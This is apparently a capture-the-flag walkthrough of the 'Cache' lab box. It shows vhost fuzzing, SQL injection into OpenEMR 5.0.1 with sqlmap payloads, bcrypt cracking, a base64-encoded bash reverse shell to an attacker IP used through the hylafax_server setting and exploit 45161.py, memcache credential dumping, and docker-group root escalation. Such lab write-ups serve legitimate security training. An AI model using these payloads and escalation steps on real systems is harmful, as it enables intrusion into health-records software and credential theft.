Cache Image

Cache is a medium linux box by ASHacker.

Overview

The box starts with web-enumeration, where we find credentials, as well as a hostname. Fuzzing for VHosts, we eventually get access to an instance of OpenEMR software running. Doing some enumeration, we were able to get the version information of the software running. Some more enumeration reveals multiple vulnerability, one of them being an SQL-injection. Exploiting the SQLi, we get the password of the administrative account of OpenEMR. With administrative access available, we can exploit an RCE-vulnerability which gives us a shell as www-data.

The credentials found in the beginning of our enumeration phase can be used to su to the user and we can read user.txt.

In order to get root-access, we have to dump credentials for another user out of memcache and then exploit this user’s membership of the docker-group to get read/write-access to the file-system. This allows us to read root.txt.

Information Gathering

Nmap

We begin our enumeration with a nmap scan for open ports.

root@darkness:~# nmap -sC -sV 10.10.10.188
Nmap scan report for 10.10.10.188
Host is up (0.043s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
|   256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
|_  256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

The open ports shown are 22 and 80. SSH usually is not that interesting, so let’s begin with http.

HTTP - Port 80

Going to http://10.10.10.188 the following webpage is shown.

Main webpage

The menu has a couple of elements, with Login being the most interesting one.

Clicking on Login, we get redirected to this page.

Login

Let us check out the source-code of the login page.

[...]
<div class="aa">
<form id="loginform" action="net.html", method="POST">
  Username: <input type="username" id="username" placeholder="please enter username..."><br><br>
  Password: <input type="password" id="password" placeholder="please enter password..." required><br><brvalue="FakePSW" id="myInput"><br>
  <input type="submit" class="btn btn-primary" value="Login">

<button type="button" class="btn btn-primary" onclick="window.location.href='#'" >forget passwd</button>

</form>
</div>

<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
  <script src="jquery/functionality.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.100.2/js/materialize.min.js"></script>
</body>
</html>

At first glance the source-code does not seem very interesting, however we can see that the form is submitted to net.html and at the bottom we can find a path to a javascript file called functionality.js. Let us check out the source-code for both the html and the js-file:

<html>
<head>
 <body onload="if (document.referrer == '') self.location='login.html';">   
	<style>
body  {
  background-color: #cccccc;
}
</style>
</head>
<center>
	<h1> Welcome Back!</h1>
	<img src="4202252.jpg">


<h1>This page is still underconstruction</h1>
</center>
 </body>
</html>

Seems like upon logging in, we do get this webpage displayed.

$(function(){
    
    var error_correctPassword = false;
    var error_username = false;
    
    function checkCorrectPassword(){
        var Password = $("#password").val();
        if(Password != 'H@v3_fun'){
            alert("Password didn't Match");
            error_correctPassword = true;
        }
    }
    function checkCorrectUsername(){
        var Username = $("#username").val();
        if(Username != "ash"){
            alert("Username didn't Match");
            error_username = true;
        }
    }
    $("#loginform").submit(function(event) {
        /* Act on the event */
        error_correctPassword = false;
         checkCorrectPassword();
         error_username = false;
         checkCorrectUsername();


        if(error_correctPassword == false && error_username ==false){
            return true;
        }
        else{
            return false;
        }
    });
    
});

The java-script provides us with a username (ash) and a password (H@v3_fun). The credentials do lead anywhere for now, so let us further enumerate the webpage.

Looking back at the main-page, we also have a author section. Clicking on that link, we get following page shown.

Author page

Looking at the author page, we get a potential hostname (cache.htb), as well as an interesting project (HMS).

Fuzzing for VHosts

Fuzzing for subdomains FUZZ.cache.htb does not show any valid responses. Let us try to fuzz for domains next.

root@darkness:~# wfuzz -u 10.10.10.188 -H "Host: FUZZ.htb" -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt  --hc=400 --hh=8193

********************************************************
* Wfuzz 2.4 - The Web Fuzzer                           *
********************************************************

Target: http://10.10.10.188/
Total requests: 19983

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                                                                      
===================================================================

000010200:   302        0 L      0 W      0 Ch        "hms"
^C
Finishing pending requests...

Fuzzing for domains, we get a result for hms.htb as a valid VHost. Let us add hms.htb to our /etc/hosts file and browse the webpage.

OpenEMR enumeration

Connecting to http://hms.htb, we get following webpage shown:

OpenEMR login

We get a login page for OpenEMR. Checking out the Github-Page of OpenEMR, we can check some common files and see if we can leak the version- information.

There should be an admin.php, setup.php, version.php and README.md. Let us check if we find any of these files.

Admin.php page

Admin.php leaks the version of OpenEMR: 5.0.1 (3). After a bit of research, I found a vulnerability report for this exact version stating a ton of vulnerabilities.

SQLi in OpenEMR

Reading through the document, we find that the software is vulnerable to multiple SQL-Injections. Taking a look at the first injection mentioned 3.1 - SQL Injection in find_appt_popup_user.php:

“SQL injection in find_appt_popup_user.php is caused by unsanitized user input from the catid and providerid parameters. Exploiting this vulnerability requires authentication to Patient Portal; however, it can be exploited without authentication when combined with the Patient Portal authentication bypass mentioned above.

Seems like we can exploit the vulnerability if we use the Patient Portal authentication bypass.

For this to work, we simply need to browse http://hms.htb/portal/account/register.php and then navigate to the page we want in order to bypass authentication.

When accessing a webpage without authenticating first, we get following error:

HMS error

Going to /register.php and then accessing the vulnerable page, we get following result:

Vulnerable page

We can now intercept the request using burp and use sqlmap to identify and exploit the SQLi.

Burp intercepted

We save the request to a file and then start a sqlmap.

root@darkness:~# sqlmap -r sqli.req --risk 3 --level 5
[15:29:34] [INFO] URI parameter '#1*' is 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable

sqlmap identified the following injection point(s) with a total of 733 HTTP(s) requests:
---                                                                                                                   
Parameter: #1* (URI)                                                                                                  
    Type: boolean-based blind                    
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)                                      
    Payload: http://hms.htb:80/portal/find_appt_popup_user.php?catid=' AND 2101=(SELECT (CASE WHEN (2101=2101) THEN 21
01 ELSE (SELECT 4941 UNION SELECT 4876) END))-- VtkV                                                                  
                                                                                                                      
    Type: error-based                                                                                                 
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)                        
    Payload: http://hms.htb:80/portal/find_appt_popup_user.php?catid=' OR (SELECT 6066 FROM(SELECT COUNT(*),CONCAT(0x7
1716b6271,(SELECT (ELT(6066=6066,1))),0x717a717871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- 
qoJv                                                                                                                  
                                                                                                                      
    Type: time-based blind                                 
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)                                                         
    Payload: http://hms.htb:80/portal/find_appt_popup_user.php?catid=' AND (SELECT 8716 FROM (SELECT(SLEEP(5)))hjBQ)--
 KcPR                                                      
---

We have successfully identified multiple exploitable injections using the catid parameter.

Dumping the database

Now that we have successfully identified the injection, let us start exploiting by enumerating all tables of the database.

root@darkness:~# sqlmap -r sqli.req --risk 3 --level 5 --tables --batch
Database: openemr                                          
[234 tables]                                               
+---------------------------------------+
| version                               |
| addresses                             |
[...]
| user_settings                         |
| users                                 |
| users_facility                        |
| users_secure                          |
| valueset                              |
[...]

The openemr database contains over 230 tables, however looking through the table-names only a couple seem interesting. The users and users_secure table seems to be promising. Let us dump these two tables in an effort to gather credentials.

root@darkness:~# sqlmap -r sqli.req --risk 3 --level 5 -D openemr -T users_secure --dump --batch
Database: openemr
Table: users_secure
[1 entry]
+----+------+----------+----------+-------------+---------------+---------------+-------------------+-------------------+
| id | salt | password | username | last_update | salt_history1 | salt_history2 | password_history1 | password_history2 |
+----+------+----------+----------+-------------+---------------+---------------+-------------------+-------------------+
| 1  | $2a$05$l2sTLIG6GTBeyBf7TAKL6A$ | $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. | openemr_admin | 2019-11-21 06:38:40 | NULL | NULL | NULL | NULL |
+----+------+----------+----------+-------------+---------------+---------------+-------------------+-------------------+

Dumping the users_secure table, we get the hash of the openemr_admin user.

Cracking the hash

Let us use john to crack the hash.

root@darkness:~# cat hash.txt 
$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.
root@darkness:~# john hash.txt -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 32 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
xxxxxx           (?)

We successfully crack the hash and now have credentials: (openemr_admin:xxxxxx). Let us verify that these credentials work by logging in as an administrator.

Login as admin

We successfully login using the credentials and can now start enumerating for a way to get a shell.

Initial shell

Now that we have credentials, we can start exploiting OpenEMR to get a shell. In the vulnerability report in the section 6.0 - Remote Code Execution, we can find multiple exploits to get a shell on the system.

Way 1: Manual exploitation

Checking back to the vulnerability report, in section 6.4 - RCE in daemon_frame.php, we can find a RCE, which allows us to get code-execution, by simply changing the hylafax_server variable and then visiting daemon_frame.php.

First we need to set the variable, by going to http://hms.htb/interface/super/edit_globals.php. We set the Hylafax Server variable to be a bash reverse-shell:

echo -n "bash -c 'bash -i >& /dev/tcp/10.10.14.24/443 0>&1'" | base64
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNC80NDMgMD4mMSc=

We then create a payload out of this reverse-shell:

; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNC80NDMgMD4mMSc= | base64 -d | bash

Injecting the reverse-shell

Updating the variable and injecting the reverse-shell payload. Next we have to visit the daemon_frame.php.

Visiting daemon_frame.php

Now that we have visited daemon_frame.php, let us check back on our listener, which we have setup earlier on.

root@darkness:~# rlwrap nc -lvnp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.188.
Ncat: Connection from 10.10.10.188:37214.
bash: cannot set terminal process group (2036): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cache:/var/www/hms.htb/public_html/interface/main$

We successfully got a shell as www-data!

Way 2: Exploit script

Upon revisiting the box, I stumbled upon a RCE exploit directly on searchsploit.

root@darkness:~# searchsploit "OpenEMR 5.0.1"
----------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                               |  Path
                                                                             | (/usr/share/exploitdb/)
----------------------------------------------------------------------------- ----------------------------------------
OpenEMR 5.0.1.3 - (Authenticated) Arbitrary File Actions                     | exploits/linux/webapps/45202.txt
OpenEMR < 5.0.1 - (Authenticated) Remote Code Execution                      | exploits/php/webapps/45161.py
----------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
root@darkness:~# searchsploit -x exploits/php/webapps/45161.py

After short analysis of the exploit, it seems like it does the same thing that we did previously.

root@darkness:~# python2 45161.py http://hms.htb/ -u openemr_admin -p xxxxxx -c "bash -c 'bash -i >& /dev/tcp/10.10.14.24/443 0>&1'"
 .---.  ,---.  ,---.  .-. .-.,---.          ,---.    
/ .-. ) | .-.\ | .-'  |  \| || .-'  |\    /|| .-.\   
| | |(_)| |-' )| `-.  |   | || `-.  |(\  / || `-'/   
| | | | | |--' | .-'  | |\  || .-'  (_)\/  ||   (    
\ `-' / | |    |  `--.| | |)||  `--.| \  / || |\ \   
 )---'  /(     /( __.'/(  (_)/( __.'| |\/| ||_| \)\  
(_)    (__)   (__)   (__)   (__)    '-'  '-'    (__) 
                                                       
   ={   P R O J E C T    I N S E C U R I T Y   }=    
                                                       
         Twitter : @Insecurity                       
         Site    : insecurity.sh                     

[$] Authenticating with openemr_admin:xxxxxx
[$] Injecting payload

Running the exploit we get a shell.

root@darkness:~# nc -lnvp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.188.
Ncat: Connection from 10.10.10.188:37032.
bash: cannot set terminal process group (2036): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cache:/var/www/hms.htb/public_html/interface/main$

We successfully got a shell as www-data!

Privesc

Privesc to user

Now that we have a shell as www-data, let us upgrade the shell and then try to su with the credentials we found in the beginning.

www-data@cache:/var/www/hms.htb/public_html/interface/main$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<ain$ python3 -c 'import pty;pty.spawn("/bin/bash")'        
www-data@cache:/var/www/hms.htb/public_html/interface/main$ ^Z
[1]+  Stopped                 nc -lvnp 443
root@darkness:~# stty raw -echo
root@darkness:~# nc -lvnp 443

www-data@cache:/var/www/hms.htb/public_html/interface/main$ export TERM=xterm

With the upgraded shell, we can now try to su to ash.

www-data@cache:/var/www/hms.htb/public_html/interface/main$ su ash
Password: H@v3_fun
ash@cache:/var/www/hms.htb/public_html/interface/main$

We successfully switch user and can now read user.txt.

ash@cache:~$ cat user.txt
34472***************************

Privesc to root

Now that we have a shell as ash, let us enumerate the system to find a privesc-path to root.

Enumeration as ash

Let us start by checking out running processes on the system.

ash@cache:~$ ps wwaux
memcache   994  0.0  0.0 425792  3920 ?        Ssl  00:25   0:11 /usr/bin/memcached -m 64 -p 11211 -u memcache -l 127.0.0.1 -P /var/run/memcached/memcached.pid

Seems like memcache is running. Let us connect to it using netcat and see what we get.

Memcache enumeration

ash@cache:~$ nc 127.0.0.1 11211
version
VERSION 1.5.6 Ubuntu
stats slabs
STAT 1:chunk_size 96
STAT 1:chunks_per_page 10922
STAT 1:total_pages 1
STAT 1:total_chunks 10922
STAT 1:used_chunks 5
STAT 1:free_chunks 10917
STAT 1:free_chunks_end 0
STAT 1:mem_requested 371
STAT 1:get_hits 12
STAT 1:cmd_set 4103
STAT 1:delete_hits 0
STAT 1:incr_hits 0
STAT 1:decr_hits 0
STAT 1:cas_hits 0
STAT 1:cas_badval 0
STAT 1:touch_hits 0
STAT active_slabs 1
STAT total_malloced 1048576
END
stats items
STAT items:1:number 5
STAT items:1:number_hot 0
STAT items:1:number_warm 0
STAT items:1:number_cold 5
STAT items:1:age_hot 0
STAT items:1:age_warm 0
STAT items:1:age 19
STAT items:1:evicted 0
STAT items:1:evicted_nonzero 0
STAT items:1:evicted_time 0
STAT items:1:outofmemory 0
STAT items:1:tailrepairs 0
STAT items:1:reclaimed 0
STAT items:1:expired_unfetched 0
STAT items:1:evicted_unfetched 0
STAT items:1:evicted_active 0
STAT items:1:crawler_reclaimed 0
STAT items:1:crawler_items_checked 156
STAT items:1:lrutail_reflocked 0
STAT items:1:moves_to_cold 4105
STAT items:1:moves_to_warm 0
STAT items:1:moves_within_lru 0
STAT items:1:direct_reclaims 0
STAT items:1:hits_to_hot 0
STAT items:1:hits_to_warm 0
STAT items:1:hits_to_cold 12
STAT items:1:hits_to_temp 0
END

Let us get the keys of the cache entries.

stats cachedump 1 0
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END

Seems like we have a user and passwd item. Let us get the content of these items.

get user
VALUE user 0 5
luffy
END
get passwd
VALUE passwd 0 9
0n3_p1ec3
END

We now have a password for the user luffy (0n3_p1ec3). Let us try to su to luffy next.

ash@cache:~$ su luffy
Password: 0n3_p1ec3
luffy@cache:/home/ash$

We successfully su to luffy and can now enumerate as this user.

Enumeration as luffy

Let us check out what groups the user luffy is in.

luffy@cache:~$ groups
luffy docker

We are in the docker group! Checking out gtfobins we can simply mount the fs into the docker container and browse the fs as root.

Docker privesc

Let us check which docker images are available to us.

luffy@cache:~$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
ubuntu              latest              2ca708c1c9cc        7 months ago        64.2MB

We can start an instance of the ubuntu image and mount the main file-system within the container as root.

luffy@cache:~$ docker run -v /:/mnt/rootfs -it ubuntu
root@ca53b8acdfeb:/# cd /mnt/rootfs/root/
root@ca53b8acdfeb:/mnt/rootfs/root# ls
root.txt

We now have read and write access to the filesystem as root. This allows us to read root.txt.

root@ca53b8acdfeb:/mnt/rootfs/root# cat root.txt 
14aa9***************************